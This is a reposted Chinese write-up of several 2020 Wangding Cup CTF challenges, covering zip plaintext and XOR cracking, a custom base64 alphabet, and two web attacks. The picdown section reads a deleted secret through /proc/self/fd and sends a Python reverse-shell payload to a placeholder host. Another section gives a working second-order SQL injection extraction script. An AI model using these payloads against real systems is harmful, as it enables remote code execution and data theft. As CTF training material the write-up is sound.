2020网鼎杯(白虎组)的部分wp

admin 2022年6月9日09:51:06CTF专场评论18 views5660字阅读18分52秒阅读模式

2020网鼎杯(白虎组)的部分wp

2020网鼎杯(白虎组)的部分wp
前言
2020网鼎杯(白虎组)的部分wp
记录下第二届网鼎杯白虎组的部分wp

2020网鼎杯(白虎组)的部分wp
Misc
2020网鼎杯(白虎组)的部分wp

签到

打开页面发现是一个游戏界面,查看源代码中的js文件,发现了一个ajax请求
setTimeout(function () {                if (n) {                    return                }                if (e == l) {                    var t = levelCount - 1;                    if (t > strings.ok.length - 1) {                        t = strings.ok.length - 1                    }                    if(levelCount>=7){                        var token = prompt("please input your team Token:").trim();                        $.ajax({                            url: 'fate.php',                            type: 'POST',                            data: 'token=' + token,                            success: function(data){                                var data = data;                                alert(data);                            }                        })                    }                    o.innerHTML = strings.ok[t];                    k()                }
找到了url:fate.php向这个页面post传递一个token值,就可以得到flag

2020网鼎杯(白虎组)的部分wp


hack

下载压缩包得到,压缩包中有sqlmap1.4 0day.zip 和xor。。。

2020网鼎杯(白虎组)的部分wp


发现文件是加密的。。尝试伪加密,发现不是未加密,,,
尝试爆破无果,唉,忽然想到会不会是明文攻击,
在网上下载一个
sqlmap-1.4的文件,来进行明文攻击。。

2020网鼎杯(白虎组)的部分wp


得到了压缩包密码:
解压得到了0day.zip和xor文件
xor想到可以利用xortools进行爆破:

2020网鼎杯(白虎组)的部分wp


得到了密钥WDCTF:
尝试对xor进行解密:
#coding:utf-8
f = open('xor','rb')w = open('xor1.png','ab')line = f.read()key = 'WDCTF'# print hex(ord(line[1]))for i in range(len(line)):
w.write(chr(ord(line[i])^ord(key[i % 5])))
得到了解密后的文件 用winhex打开:

2020网鼎杯(白虎组)的部分wp


得到了压缩包的密码:[email protected]!
解压得到flag文件MZWGCZ33MY2DMODBGU2DCLJTGJSWKLJUMQZTOLLCHAZDKLJQMI4GCMRQGU2TQNJSGN6Q====
进行base32解密:

2020网鼎杯(白虎组)的部分wp


hidden

打开压缩包,得到了一个图片:
winhex打开发现:

2020网鼎杯(白虎组)的部分wp

存在压缩包,用binwalk进行分离得到了一个压缩包:

2020网鼎杯(白虎组)的部分wp


进行爆破密码,成功爆破得到了密码:

2020网鼎杯(白虎组)的部分wp


得到了了一半的二维码,尝试修改高度:

2020网鼎杯(白虎组)的部分wp


43修改为85,保存文件,得到了完整的二维码:
扫描得到
flag。。。

2020网鼎杯(白虎组)的部分wp


 
2020网鼎杯(白虎组)的部分wp
web
2020网鼎杯(白虎组)的部分wp

picdown

打开题目,发现

2020网鼎杯(白虎组)的部分wp


是一个图片下载器。。。
猜测可以下载源码:
尝试之后,得到main.py的源码:

2020网鼎杯(白虎组)的部分wp


main.py
from flask import Flask, Responsefrom flask import render_templatefrom flask import requestimport osimport urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"f = open(SECRET_FILE)SECRET_KEY = f.read().strip()os.remove(SECRET_FILE)

@app.route('/')def index(): return render_template('search.html')

@app.route('/page')def page(): url = request.args.get("url") try: if not url.lower().startswith("file"): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream') response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg' return response else: value = "HACK ERROR!" except: value = "SOMETHING WRONG!" return render_template('search.html', res=value)

@app.route('/no_one_know_the_manager')def manager(): key = request.args.get("key") print(SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell") os.system(shell) res = "ok" else: res = "Wrong Key!"
return res

if __name__ == '__main__': app.run(host='0.0.0.0', port=8080)
漏洞代码:
@app.route('/no_one_know_the_manager')def manager():    key = request.args.get("key")    print(SECRET_KEY)    if key == SECRET_KEY:        shell = request.args.get("shell")        os.system(shell)        res = "ok"    else:        res = "Wrong Key!"
return res
首先接受一个key值SECRET_KEY相等,然后接受一个shell值,执行os.system(shell)这里可以反弹shell
这里的SECRET_KEY是通过
SECRET_FILE = "/tmp/secret.txt"f = open(SECRET_FILE)SECRET_KEY = f.read().strip()os.remove(SECRET_FILE)
这里读出来的,尝试读取这个/tmp/secret.txt文件,发现不能读取成功:

2020网鼎杯(白虎组)的部分wp


发现已经删除os.remove(SECRET_FILE),忽然想起来以前出现过类似的考点:
在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用 os.remove(SECRET_FILE))删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。
尝试之后,在/proc/self/fd/3这里读取到SECRET_FILE

2020网鼎杯(白虎组)的部分wp


然后进行python反弹shell
/no_one_know_the_manager?key=reIqMCng8hfnu3wD4RDyKnO76LdgLeOYrb6DuPNLzLc=&shell=python%20-c%20%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22xx.xx.xx.xx%22,9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27
可以成功反弹shell,最终在/root/flag.txt中得到flag:

2020网鼎杯(白虎组)的部分wp


flag{75a9190b-44a9-4f39-ba91-950743cbc18d}

张三的网站

打开页面,发现是一个登陆页面,注册一个账号看看里面的功能:

2020网鼎杯(白虎组)的部分wp


登陆后发现:

2020网鼎杯(白虎组)的部分wp


页面只回显了用户名,忽然感觉这个题,有点熟悉的感觉了。。。
尝试注册用户名为2'+123+',尝试登陆:

2020网鼎杯(白虎组)的部分wp


这不是上一届网鼎杯的原题吗?
直接拿脚本改一改:
import requestsimport stringimport re as rimport sys
reload(sys)sys.setdefaultencoding("utf8")

url= "http://906482149bf841c0b701c2f92bfaaa213b708f2173aa4e0b.cloudgame1.ichunqiu.com/"

ch = '0123456789qwertyuiopasdfghjklzxcvbnm{-}'
re = requests.session()flag = ''for j in range(1,50): # payload = "0'+(select ascii(substr((database()) from {} for {})))+'0".format(int(j),1) payload = "0'+(select ascii(substr((select * from flag) from {} for {})))+'0".format(int(j),1) email = '{}[email protected]'.format(str(j)+'kslaml') url1 = url+'register.php' data = dict(email = email, username = payload,password = 'aaaa') res = re.post(url1,data=data)

url2 = url+'login.php' data = dict(email = email,password = 'aaaa') html = re.post(url2, data=data) html.encoding = 'utf-8'
try: res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S) a = res[0][1:].strip() flag += chr(int(a)) print flag except: pass
得到flag:

2020网鼎杯(白虎组)的部分wp


2020网鼎杯(白虎组)的部分wp
Crypto
2020网鼎杯(白虎组)的部分wp

b64

题目给出:
密文:uLdAuO8duojAFLEKjIgdpfGeZoELjJp9kSieuIsAjJ/LpSXDuCGduouz
泄露的密文:pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF=泄露的明文:ashlkj!@sj1223%^&*Sd4564sd879s5d12f231a46qwjkd12J;DJjl;LjL;KJ8729128713
对泄露的密文尝试base64解码,发现失败,对泄露的明文进行base64加密,发现正好和泄露的密文的长度相等。。。
pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF=YXNobGtqIUBzajEyMjMlXiYqU2Q0NTY0c2Q4NzlzNWQxMmYyMzFhNDZxd2prZDEySjtESmpsO0xqTDtLSjg3MjkxMjg3MTM=
于是可以猜测是换了码表
利用我们已知明文和对应密文来推算替换的码表,
我们将已知的明文进行base64加密,然后将加密的结果和密文进行一个对比:
a= 'pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF='b='YXNobGtqIUBzajEyMjMlXiYqU2Q0NTY0c2Q4NzlzNWQxMmYyMzFhNDZxd2prZDEySjtESmpsO0xqTDtLSjg3MjkxMjg3MTM='

list_a=[]for i in a: list_a.append(i)

list_b=[]for i in b: list_b.append(i)

nvs = zip(list_a,list_b)

def deleteDuplicate(li): temp_list = list(set([str(i) for i in li])) li=[eval(i) for i in temp_list] return li
print deleteDuplicate(nvs)
得到了如下的对应关系:
[('d', 'x'), ('j', 'N'), ('8', 's'), ('B', 'i'), ('k', 'O'), ('T', 'X'), ('H', 'B'), ('F', 'M'), ('9', 't'), ('o', 'T'), ('M', 'o'), ('J', 'G'), ('W', 'q'), ('A', 'h'), ('p', 'Y'), ('Q', 'U'), ('q', 'c'), ('r', 'g'), ('u', 'Z'), ('v', 'a'), ('i', 'I'), ('D', 'k'), ('7', 'r'), ('N', 'p'), ('/', 'F'), ('K', 'l'), ('2', 'D'), ('e', 'y'), ('=', '='), ('g', '0'), ('S', 'W'), ('n', 'S'), ('Z', 'L'), ('w', 'b'), ('O', '3'), ('P', '4'), ('C', 'j'), ('3', 'd'), ('m', 'Q'), ('f', 'z'), ('t', '2'), ('L', 'm'), ('+', 'E')]
然后将密文中的字符进行替换, 对照发现还有几个字母的相对应的密文是未知的,分别是E I X s G z
然后根据,flag是uuid的性质,推测出来几位,然后进行手工验证,得到了flag
感觉也是运气比较好,尝试了几次就出来了
flag{1e3a2de5-1c02-4f4f-9b2e-a4afabdf01e6}
 
2020网鼎杯(白虎组)的部分wp
总结
2020网鼎杯(白虎组)的部分wp
打过网鼎杯,才知道自己有多菜了,,
大佬们tql…
还要努力呀。。。。




原文始发于微信公众号(白帽子程序员):2020网鼎杯(白虎组)的部分wp

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月9日09:51:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  2020网鼎杯(白虎组)的部分wp http://cn-sec.com/archives/1100837.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: